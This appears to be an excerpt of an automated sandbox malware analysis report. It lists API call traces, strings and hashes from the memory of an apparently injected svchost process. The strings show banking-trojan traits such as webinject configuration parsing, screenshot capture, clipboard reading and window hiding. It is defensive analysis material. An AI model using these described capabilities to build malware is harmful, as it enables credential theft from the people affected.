                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02D04327
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02D04360
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D04367
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D0437B
                                                                                                                                                                                                            • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?,?,00000000,?), ref: 02D043AC
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104,?,?,?,?,00000000,?), ref: 02D043C3
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D0442C
                                                                                                                                                                                                            • Process32Next.KERNEL32(?,?), ref: 02D0443B
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: HandleHeapProcessProcess32memset$AllocCloseCreateFileFirstInformationModuleNameNextOpenSnapshotToolhelp32_snprintf
                                                                                                                                                                                                            • String ID: %d%s$[System Process]$taskmgr{PIDProcess name
                                                                                                                                                                                                            • API String ID: 3808533164-4214784430
                                                                                                                                                                                                            • Opcode ID: 0fb5e9f18ce702e1aed60c593fd49bb0ab7bd00789348dfe818d0cfb66af42f9
                                                                                                                                                                                                            • Instruction ID: c5728d510b3cb2964bb4e2db81ba1efcd79ac9490798a8c53c33b886eff5c98b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 0fb5e9f18ce702e1aed60c593fd49bb0ab7bd00789348dfe818d0cfb66af42f9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 8361E175904341AFD700CF64A8D8FABBBE9EB95354F448929FA8587390E770EC18CB91
                                                                                                                                                                                                            Function 02D20B80 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 192memoryfilestringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E,?,75A7BF00), ref: 02D20BB0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000,?,75A7BF00), ref: 02D20BF1
                                                                                                                                                                                                            • GetLastError.KERNEL32(?,75A7BF00), ref: 02D20BFB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D20C03
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D20C14
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000,?,75A7BF00), ref: 02D20C1B
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,75A7BF00), ref: 02D20C5A
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?,?,75A7BF00), ref: 02D20C67
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?,?,75A7BF00), ref: 02D20CB0
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004,?,75A7BF00), ref: 02D20CCC
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104,?,75A7BF00), ref: 02D20CE9
                                                                                                                                                                                                              • Part of subcall function 02D292D0: GetProcessHeap.KERNEL32(00000008,00004070,?,00000000,74E1A250,?,02D138A8,?), ref: 02D292E3
                                                                                                                                                                                                              • Part of subcall function 02D292D0: HeapAlloc.KERNEL32(00000000,?,02D138A8,?), ref: 02D292E6
                                                                                                                                                                                                              • Part of subcall function 02D292D0: memset.MSVCRT ref: 02D292FB
                                                                                                                                                                                                              • Part of subcall function 02D292D0: CreateFileA.KERNEL32(02D138A8,40000000,00000003,00000000,00000002,00000080,00000000,?,02D138A8,?), ref: 02D29352
                                                                                                                                                                                                              • Part of subcall function 02D292D0: GetProcessHeap.KERNEL32(00000000,00000000,?,02D138A8,?), ref: 02D29375
                                                                                                                                                                                                              • Part of subcall function 02D292D0: HeapValidate.KERNEL32(00000000,?,02D138A8,?), ref: 02D29378
                                                                                                                                                                                                              • Part of subcall function 02D292D0: GetProcessHeap.KERNEL32(00000000,00000000,?,02D138A8,?), ref: 02D29384
                                                                                                                                                                                                              • Part of subcall function 02D292D0: HeapFree.KERNEL32(00000000,?,02D138A8,?), ref: 02D29387
                                                                                                                                                                                                            • VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,75A7BF00), ref: 02D20D18
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C59061E,?,75A7BF00), ref: 02D20D37
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,?,75A7BF00), ref: 02D20D9B
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?,?,75A7BF00), ref: 02D20DA8
                                                                                                                                                                                                              • Part of subcall function 02D29460: LocalAlloc.KERNEL32(00000040,-00000103,00000000,00000000,74E1A250), ref: 02D294E1
                                                                                                                                                                                                              • Part of subcall function 02D29460: _snprintf.MSVCRT ref: 02D294FD
                                                                                                                                                                                                              • Part of subcall function 02D29460: FindFirstFileA.KERNEL32(00000000,?), ref: 02D2950C
                                                                                                                                                                                                              • Part of subcall function 02D29460: LocalFree.KERNEL32(00000000), ref: 02D29519
                                                                                                                                                                                                              • Part of subcall function 02D29460: wsprintfA.USER32 ref: 02D29558
                                                                                                                                                                                                              • Part of subcall function 02D29460: wsprintfA.USER32 ref: 02D29566
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$AllocFreePathProcess$AttributesBackslashCreateDirectoryErrorLastLocalVirtualwsprintf$AdminCurrentDeleteFindFirstFolderMakeModuleNameSystemUserValidate_snprintflstrcpynmemset
                                                                                                                                                                                                            • String ID: 5C59061E$\$inter.zip$path.txt
                                                                                                                                                                                                            • API String ID: 3082343898-875366317
                                                                                                                                                                                                            • Opcode ID: f77be8e008c24acda915319958fc61d24fbd099160bd42b6eb8f6ec814608c08
                                                                                                                                                                                                            • Instruction ID: c05c84e9aa2ff1020b65fc232b2af111fb63717a8a94b04ba4841c9e998aec91
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f77be8e008c24acda915319958fc61d24fbd099160bd42b6eb8f6ec814608c08
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 5A6134749003299FDB218F24A8A8BEA7BE4EF25309F544594E9C9D7340DBB1AD4CCB90
                                                                                                                                                                                                            Function 02D0C320 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 124windowsleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDesktopWindow.USER32 ref: 02D0C32C
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0C34D
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0C350
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02D0C355
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02D0C364
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 02D0C377
                                                                                                                                                                                                            • GetClassNameA.USER32(00000000,?,00000101), ref: 02D0C399
                                                                                                                                                                                                            • GetWindowInfo.USER32(00000000,?), ref: 02D0C405
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000EC,?), ref: 02D0C427
                                                                                                                                                                                                            • SetLayeredWindowAttributes.USER32(00000000,0000FFFF,000000FF,00000002), ref: 02D0C436
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02D0C43F
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02D0C452
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,000000D2,00000000,00000000), ref: 02D0C462
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,000000CC,00000000,00000000), ref: 02D0C476
                                                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 02D0C47E
                                                                                                                                                                                                            • EnumChildWindows.USER32(00000000,02D0C2A0,00000000), ref: 02D0C48C
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02D0C495
                                                                                                                                                                                                            • Sleep.KERNEL32(00000001), ref: 02D0C4A3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$ClassLong$MessageSendSleepVisible$AttributesChildDesktopEnumInfoLayeredNameProcessThreadWindows
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 2886700239-4251816714
                                                                                                                                                                                                            • Opcode ID: f9a5d6da36125c2c1276699216b1f98541f5dec8d7441c58ed733edad9040af2
                                                                                                                                                                                                            • Instruction ID: 21aa697713f841645f188f93f70be1890a531390d463a88e1501d99033de761a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f9a5d6da36125c2c1276699216b1f98541f5dec8d7441c58ed733edad9040af2
                                                                                                                                                                                                            • Instruction Fuzzy Hash: AA41D634AA0215BFE7209F64EC8AFBE37A8EF05755F800705F585E93D0D7A49D11CA64
                                                                                                                                                                                                            Function 02D11080 Relevance: 31.8, APIs: 16, Strings: 5, Instructions: 275memorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB20,00000000,00000000,00000000,?,02D11799), ref: 02D11090
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020,?,02D11799), ref: 02D110F8
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D11799), ref: 02D110FF
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D1117F
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D11199
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D111B3
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D111CD
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D111F7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000020), ref: 02D11214
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D1121B
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02D11344
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D1137C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D1137F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D1138C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D1138F
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB20,?,02D11799), ref: 02D1139A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$strstr$Process$AllocCriticalSection$EnterFreeLeaveValidate
                                                                                                                                                                                                            • String ID: data_after$data_before$data_end$data_inject$set_url
                                                                                                                                                                                                            • API String ID: 2387113551-2328515424
                                                                                                                                                                                                            • Opcode ID: ad877954ab734cd98833f25b06d466c1dedf0007988335f93469f324ad2ebfff
                                                                                                                                                                                                            • Instruction ID: 7aed02989c9dbd83ed91f490592c3b5c58eede3a548c9874d257afbfea0cbcfe
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ad877954ab734cd98833f25b06d466c1dedf0007988335f93469f324ad2ebfff
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 71A11774A04341AFDB21CF34E4987A6BFE1EF46344F248198D98A8BB45EB71DD09CB90
                                                                                                                                                                                                            Function 02D283F0 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 187COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileType.KERNEL32(?,00000000,00000000), ref: 02D283F9
                                                                                                                                                                                                            • GetFileInformationByHandle.KERNEL32(?,?), ref: 02D28416
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$HandleInformationType
                                                                                                                                                                                                            • String ID: ,D0<$,D0<$D0<$D0<
                                                                                                                                                                                                            • API String ID: 4064226416-1748840775
                                                                                                                                                                                                            • Opcode ID: 898eb18c879643c59be854f81e6a4e872f3b3a3fdac0bfd5fd84d06e1f784b41
                                                                                                                                                                                                            • Instruction ID: 4c5ee1197f7d67cde7ffce8d064d0265519cc2d08a82951d4b2e4984c1697983
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 898eb18c879643c59be854f81e6a4e872f3b3a3fdac0bfd5fd84d06e1f784b41
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3251B071D00228ABDB14CFA4DC84FBEBBB9FB54704F54851AEA00EB280D7749D45DBA1
                                                                                                                                                                                                            Function 02D12E30 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 173memorythreadclipboardCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12E4D
                                                                                                                                                                                                            • GlobalLock.KERNEL32(00000000), ref: 02D12E6E
                                                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 02D12E8F
                                                                                                                                                                                                            • GetGUIThreadInfo.USER32(00000000), ref: 02D12E96
                                                                                                                                                                                                            • GetOpenClipboardWindow.USER32 ref: 02D12EAC
                                                                                                                                                                                                            • GetActiveWindow.USER32 ref: 02D12EBA
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(?,?,00000000,000000FF,?,?,?,?), ref: 02D12EE8
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000013), ref: 02D12F0A
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D12F11
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D12F21
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 02D12F3E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12F8B
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D12F8E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D12F9B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D12F9E
                                                                                                                                                                                                            • GlobalUnlock.KERNEL32(00000000), ref: 02D12FA9
                                                                                                                                                                                                            • GlobalUnlock.KERNEL32(00000000,00000000,00000001), ref: 02D12FEF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$GlobalProcess$ByteCharMultiThreadUnlockWideWindowmemset$ActiveAllocClipboardCurrentFreeInfoLockOpenValidate
                                                                                                                                                                                                            • String ID: 0
                                                                                                                                                                                                            • API String ID: 3472172748-4108050209
                                                                                                                                                                                                            • Opcode ID: 432081da78b8ef1f8e9ab7f91480666a858928aaa9cf4469b376d2157f6a7c83
                                                                                                                                                                                                            • Instruction ID: d89ea340c45661ee82c333cca589626eced78eff93e8ec38d46eee2ea0d3708f
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 432081da78b8ef1f8e9ab7f91480666a858928aaa9cf4469b376d2157f6a7c83
                                                                                                                                                                                                            • Instruction Fuzzy Hash: E85122766443226BD7249F69BC8CB6B7BA9EF86704F000618FD44A77C0DB62DD04C7A1
                                                                                                                                                                                                            Function 02D0C3D9 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 113windowsleepthreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02D0C34D
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02D0C350
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02D0C355
                                                                                                                                                                                                            • IsWindowVisible.USER32(00000000), ref: 02D0C364
                                                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000,?), ref: 02D0C377
                                                                                                                                                                                                            • GetClassNameA.USER32(00000000,?,00000101), ref: 02D0C399
                                                                                                                                                                                                            • GetWindowInfo.USER32(00000000,?), ref: 02D0C405
                                                                                                                                                                                                            • SetWindowLongA.USER32(00000000,000000EC,?), ref: 02D0C427
                                                                                                                                                                                                            • SetLayeredWindowAttributes.USER32(00000000,0000FFFF,000000FF,00000002), ref: 02D0C436
                                                                                                                                                                                                            • GetClassLongA.USER32(00000000,000000E6), ref: 02D0C43F
                                                                                                                                                                                                            • SetClassLongA.USER32(00000000,000000E6,00000000), ref: 02D0C452
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,000000D2,00000000,00000000), ref: 02D0C462
                                                                                                                                                                                                            • SendMessageA.USER32(00000000,000000CC,00000000,00000000), ref: 02D0C476
                                                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 02D0C47E
                                                                                                                                                                                                            • EnumChildWindows.USER32(00000000,02D0C2A0,00000000), ref: 02D0C48C
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000003), ref: 02D0C495
                                                                                                                                                                                                            • Sleep.KERNEL32(00000001), ref: 02D0C4A3
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$ClassLong$MessageSendSleepVisible$AttributesChildEnumInfoLayeredNameProcessThreadWindows
                                                                                                                                                                                                            • String ID: <
                                                                                                                                                                                                            • API String ID: 1978407388-4251816714
                                                                                                                                                                                                            • Opcode ID: ad9572db9b56584dce8729f86218b9685f3ef798cf1947749310a3f78b80a98b
                                                                                                                                                                                                            • Instruction ID: 1d88cf3431f5766e2035e16c390c359605202b574f124161ee8c710578b7e9ac
                                                                                                                                                                                                            • Opcode Fuzzy Hash: ad9572db9b56584dce8729f86218b9685f3ef798cf1947749310a3f78b80a98b
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D531F834AA06156BE7219F64ECCAFBE37A8FF05755F800705F245E92D0C7A49E11CA68
                                                                                                                                                                                                            Function 02D212A0 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 111sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5c590689), ref: 02D212C7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D21315
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21321
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21325
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D21336
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D2133D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D21370
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D2137F
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D21385
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D21389
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D2139A
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D213A1
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D213CF
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D213E5
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$5c590689$scrs$\t
                                                                                                                                                                                                            • API String ID: 1455050916-2983098707
                                                                                                                                                                                                            • Opcode ID: b504194b15706bc196d072fbef627e8d5a6653b00911ef0ddcf6682178ed6bd4
                                                                                                                                                                                                            • Instruction ID: c2e144dadced85f9b8a26ab8fec3641e85b7a711105f417a9054eb4d1ca45426
                                                                                                                                                                                                            • Opcode Fuzzy Hash: b504194b15706bc196d072fbef627e8d5a6653b00911ef0ddcf6682178ed6bd4
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F43129799002295BCB209F74AD98BEB77E8AF25304F448594E9C9C7301DB70DD48CBA0
                                                                                                                                                                                                            Function 02D1C1F0 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 111sleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(5C590552), ref: 02D1C217
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1C265
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1C271
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1C275
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1C286
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1C28D
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02D1C2C0
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02D1C2CF
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02D1C2D5
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D1C2D9
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02D1C2EA
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02D1C2F1
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D1C31F
                                                                                                                                                                                                            • Sleep.KERNEL32(00000FA0,?), ref: 02D1C335
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorLastPath$AdminBackslashCreateDirectoryFolderMakeSystemUser$Sleep_snprintf
                                                                                                                                                                                                            • String ID: %s\%02d.bmp$5C590552$scrs$\t
                                                                                                                                                                                                            • API String ID: 1455050916-2720195496
                                                                                                                                                                                                            • Opcode ID: 3704084db3399572ec37a9644a73d66e3c0a7af75e40f375746812fe65771266
                                                                                                                                                                                                            • Instruction ID: e242afb22a5686b17e8df23c83775768d73329ca9fc9ebb4bf7445e3b3aef3c8
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 3704084db3399572ec37a9644a73d66e3c0a7af75e40f375746812fe65771266
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D7316A799402196BCB248FB4BC98BEB77E8EB15B00F848595E986C7300DBB0DD54CBA1
                                                                                                                                                                                                            Function 02D201D0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 116memoryfileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetFileSizeEx.KERNEL32(?,?,00000000,00000000,74E17390,?,02D0148C,00000000,?), ref: 02D2020A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?,?,02D0148C,00000000,?), ref: 02D20229
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,02D0148C,00000000,?), ref: 02D20230
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D20248
                                                                                                                                                                                                            • SetFilePointer.KERNEL32 ref: 02D20263
                                                                                                                                                                                                            • LockFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 02D20274
                                                                                                                                                                                                            • ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 02D20284
                                                                                                                                                                                                            • UnlockFile.KERNEL32(?,?,00000000,?,00000000), ref: 02D20299
                                                                                                                                                                                                            • StrStrA.SHLWAPI(00000000,BEGIN SIGNATURE), ref: 02D202B2
                                                                                                                                                                                                            • StrStrA.SHLWAPI(00000000,END SIGNATURE), ref: 02D202BE
                                                                                                                                                                                                            • SetFilePointerEx.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,74E17390,?,02D0148C,00000000,?), ref: 02D202DB
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,02D0148C,00000000,?), ref: 02D202EE
